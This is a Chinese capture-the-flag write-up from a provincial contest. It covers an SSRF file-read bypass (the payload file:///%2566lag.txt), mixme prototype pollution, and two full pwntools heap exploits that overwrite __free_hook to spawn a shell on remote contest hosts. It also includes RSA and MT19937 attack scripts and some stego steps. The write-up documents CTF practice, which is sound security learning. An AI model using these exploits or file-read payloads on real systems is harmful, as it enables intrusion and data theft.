0%

省赛WP

WEB

old

F12看源码有个接口随便整点链接发现会将文件打包成PDF。想到了前年还是去年的blackhat的一个议题,利用HTML转PDF时候link内容会被打包进PDF来读取flag。不过试了一下读远程HTML好像不大行。

image-20210523154113171

尝试读取/etc/passwd

image-20210523154227719 image-20210523154301354

尝试读取flag,发现被过滤。直接双url编码绕过读取,直接读到flag,应该非预期。

http://8.134.48.81:20012/openStream?url=file:///%2566lag.txt
image-20210523154425481

try_js

附件给出源码:

const http = require("http");
const express = require("express");
const bodyParser = require("body-parser");
const mixme = require("mixme");
const session = require("express-session");
const randomize = require("randomatic");
const morgan = require("morgan");

const app = express();
app.set("json escape", true);
app.use(morgan("short"));
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json());
// app.use(express.json());
app.use(
    session({
        name: "session",
        secret: randomize("aA0", 16),
        resave: false,
        saveUninitialized: false,
    })
);

const Super = {
    passone: process.env.sperson,
};

function blacklist(url) {
    var evilwords = ["DirectoryIterator", "FilesystemIterator", "GlobIterator"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
}

//TODO
//get url content

app.post("/getinfo", (req, res) => {
    console.log(req.body);
    if (req.body.userid === undefined || req.body.key === undefined) {
        res.send("you want to post null?");
    } else {
        let userid = req.body.userid;
        let key = req.body.key;
        console.log(userid);
        console.log(key);
        if (Super[userid] === key) {
            res.send(
                "admin!\nyou can goto ***** endpoint to hack!"
            );
        } else {
            res.send("You are not the Super, so I cannot give you the truth.");
        }
    }
});

app.all("/", (req, res) => {
    let data = { userid: [], key: [] };
    console.log(data);
    console.log(req.body);
    if (req.method == "POST" && req.body) {
        data = mixme.merge(data, req.body);
        req.session.data = data;
        // console.log("After MERGE: " + Super["test"]);
    }
    res.send("to be admin and you will find it!");
});

app.listen(3000, () => console.log(`Example app listening on port 3000!`));

其中:

data = mixme.merge(data, req.body);

此处有个merge操作有个CVE(https://www.op-c.net/2021/05/05/prototype-pollution-high-vulnerability-in-mixme-npm-package/)找到项目,发现有个commit显示提交了一个修复:

https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028

如果远程版本在提交之前,那么就可以原型链污染,本地启个环境:

远程打出接口:

访问是一个请求内网80端口的接口,直接扫目录找到一个info.php还有一个z.php在z.php直接得到flag,不过看黑名单预期应该是原生类反序列化读文件,不过没找到能够利用的PHP文件,这个应该是非预期。

PWN

PWN1(BabyNote)

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    edit(0,'\xa0\x66')

    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    # gdb.attach(p,"b *$rebase(0x1392)")
    # raw_input()
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
    log.info("libc_addr:"+hex(libc_addr))

    free_hook = libc_addr+libc.sym['__free_hook']
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))
    delete(1)

    p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10000)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10000)
            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})

PWN2 BabyNote_revenge

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    # edit(0,'\xa0\xa6')
    edit(0,'\xa0\x66')


    # stdout_offset = libc.symbols['_IO_2_1_stdout_']
    # log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000)#(0x7ffff7f59980-0x7ffff7d6e000)
    #libc_addr:0x7f1eb42b5980
    log.info("libc_addr:"+hex(libc_addr))
    # gdb.attach(p,"b *$rebase(0x13E2)")
    # raw_input()
    free_hook = libc_addr+libc.sym['__free_hook']
    log.info("free_hook:"+hex(free_hook))
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))



    delete(1)

    p.interactive()


# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote_revenge")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10001)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10001)
            # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
            # p = process("./BabyNote_revenge")

CRYPTO

这是道签到题

010打开发现是一个压缩包直接改后缀,解压得到一张图片,扔010里面找到一个密文一个秘钥,解出来:

image-20210523173441760

CRYPTOCRYPTO

import random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

# right shift inverse


def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp


# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse


def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp


# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp


def extract_number(y):
    y = y ^ y >> 11
    y = y ^ y << 7 & 2636928640
    y = y ^ y << 15 & 4022730752
    y = y ^ y >> 18
    return y & 0xffffffff


def recover(y):
    y = inverse_right(y, 18)
    y = inverse_left_mask(y, 15, 4022730752)
    y = inverse_left_mask(y, 7, 2636928640)
    y = inverse_right(y, 11)
    return y & 0xffffffff


f = open('output', 'r').read().strip().split(',')
r = [int(i) for i in f[:-1]]
c = long_to_bytes(int(f[-1], 16))
state = []
for _ in range(624):
    state.append(recover(r[_]))
for i in range(624):
    for j in range(i+1):
        state[j] ^= i % 256
s = (3, tuple(state+[0]), None)
print(len(s[1]))
random.setstate(s)
key = long_to_bytes(random.getrandbits(128))
a = AES.new(key, AES.MODE_ECB)
print(a.decrypt(c))
#

rsarsa

国赛rsa改编,得到text后md5加密即可拿到flag

m1、m2、m3分别是维纳攻击、Hastad攻击、已知p高位攻击

m1:

import gmpy2
import libnum
import RSAwienerHacker

c = 51084654001062999676284508744761337160593155669881973332922269056143420517629679695048487021241292007953887627491190341353167847566083172502480747704275374070492531393399916651443961186981687573379323436438906676133035045064486529453649419053918833072924346775468502743027859482041178726542991466613589539914
e = 8336175595129952911533542789423826996569722546516271636161500363234194699197831564741315089461869306051343021000467004786843886241187253481694116720349730349091091395871354352082596957433423648367398183367388782648648524548000549086553610297047964333156830786192545363469852460230159194760278103213655609189
n = 151092363916177851152025151918241584641682210212036254637668925062407387596818893923128056380386244596150134405578253100187360613990057596729265767426618262474915825169178445560157476701330766996735046666440633251722785157310664928275249725806466188778983132016426476941426227570021630850606892034122220619913

d = RSAwienerHacker.hack_RSA(e, n)
m = gmpy2.powmod(c, d, n)
print(libnum.n2s(int(m)))

m2:

import gmpy2
import libnum

c1 = 24168576475826731342981309869386844888048819155804916609868467364828794195081900378454942799582364951590154660883127133517306279315632213654294241046389472660162658285116025022019193389467425762033793233310853287285710051131156746537960416278314488047201950871542871471614834606092674080171837479678908485762
c2 = 59042322068112449729750363498227925481549151238455994334741763136215058751527859574931116063334209500284095818008451340013716449554106507373112252757273078880364298445003064190906862585372984554264625861222115429779924444369582923270264732188891567089849725691839301479707767233813043465943547876632578498984
c3 = 86124343357786577132154304914637897169467679024253471444678880447274558440276584635040507167438356800005540641456548793163113750596432451742228432593182300337042281015596655874375158300461112977200671847176880860698060672936210257455599090524023845268651175379694950602443080246153556268191330489901634436

n1 = 0x57696c78e1d443a3c9211963c721c16e47068eb3b52dfb79ef55af340e7894c7e301a5f38734ddd10e67d0dd2f5759ae0443ca47719d82bfcccc9d26b05043b0b66b253219f266ea133fc613e23dbe14d5f731c5ad4158286a1139e2927b8a485df0e662d77277f61f4ff334a24b51959e399e5e778b6934897b6b9f4b315207
n2 = 0xc7e5c4318b4376a93588ea853a70f5576aaa3a291acff806f87b00b01443edfd9298915343e8d219fc09ab464c02d12fa72abb0e70d40b12c63274bcf4a61ccb7c81d42fbb04f54e9ce972c3467c851932ecf8f0ada57f56ee91dad3837669fc501d69c68dce305d62cd1f09acff28874792ef343fca185bdc9d2432fd45d3d1
n3 = 0x8d0899da21f7a50a5a869b0914fdfbc7d67aa85941021403889d24cb5b8029dd45a14e02f83dba7c21b3759fb152e045dcad6f11421e578a1b01d5e0b077810fc33e5f8d6d8e3623d278c908bbf7f4f7adb7224014e1f14272214e1a05cf4314dd950290fddbec9870be2c1d100bcdaf7056a1b909a400bb1f549efbede68bcf

N = n1 * n2 * n3
N1 = n2 * n3
N2 = n1 * n3
N3 = n1 * n2
d1 = gmpy2.invert(N1, n1)
d2 = gmpy2.invert(N2, n2)
d3 = gmpy2.invert(N3, n3)

tmp = (c1*d1*N1 + c2*d2*N2 + c3*d3*N3) % N
m = gmpy2.iroot(tmp, 3)
print(libnum.n2s(int(m[0])))

m3:

rsa

import gmpy2
import libnum

p = 126596896828983947657897211653294325357694173315986362964483543178327683872006349352506228192861938882562062524573153829867465009733178457399135420215887364009777012624212242069216745138202953735034716032666189414323613790242613717531697843979604409625853777348356827810939640137432278820298916431800157020739
n = 12382768780688845948585828171746451695620690637388724603203719934675129634162669400211587652801497553140445052212955447547285342951827548927777971592012005336108991182804517438932388430909818349339928033362693776498198280566445301283769762658236093273135470594245556180103947875110497679850836950853434075025187940546602828416710260312146348085635062790163306288554171471977697811571151068804586709977754482736587083043633360827556846476139372134496068081264161278183780518986923815627524813237434789592133132430580528353375704616450593022343415392743694469637309237497448893478902243349283615118435345397909237495251
e = 65537
c = 7479226689503128706443123521570581658668839203982072419275773066090139369387752424856982287500754805036668221578674582111373214400048065981143586768159093517856729586240876781314226713473457848588205839635234624256432258024026698381646902196832849461804350553542541128509121012667792037004716033974053614737451942287543723238730054875983726091182977666880984732837604625557483621161056089767140997756267432137190239967241490004246596723655769407636914860893150081043179313259622038983431488143887092338693868571374510729082940832360819295528352729394196810748661957966996263811903630229686768254608968394381708296458
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

三段合并得到

So long as men can breathe or eyes can see, So long lives this and this gives life to thee.Chest has a bright ambition, no high can not be climbed.You never know how strong you really are until being strong is the only choice you have.

md5加密后得到flag

flag{096d9ddd8c911b95d91fa7d6d7460c3c}

MISC

你看看是什么

把文件解压后的test.pacpng直接binwalk分离之后的rar文件里面有个flag.txt

MZWGCZ33MZUW4ZC7OJSWC3C7O5QXSX3UNBQW4X3ZN52V6Y3BNZPXO2LOPU======

直接base32解得flag

flag{find_real_way_than_you_can_win}

小猪的家

用Stegsolve发现pig.png有25帧,并且每一帧都有一小部分二维码如下

image-20210523160035744

把这些二维码拼接起来,扫码得到3faf86140,然后同样binwalk分离pig.png发现有个out/pigpen.png,用3faf86140为密码解压,里面是猪圈密码,用网上得密码表一个个对着写即可获取flag

flag{this_isa_pigpen_fake_flag}

misc2(忘记啥名字了)

解了一半和国赛那个坐标画图得基本一样坐标没找全画出这个玩意:

image-20210523193636029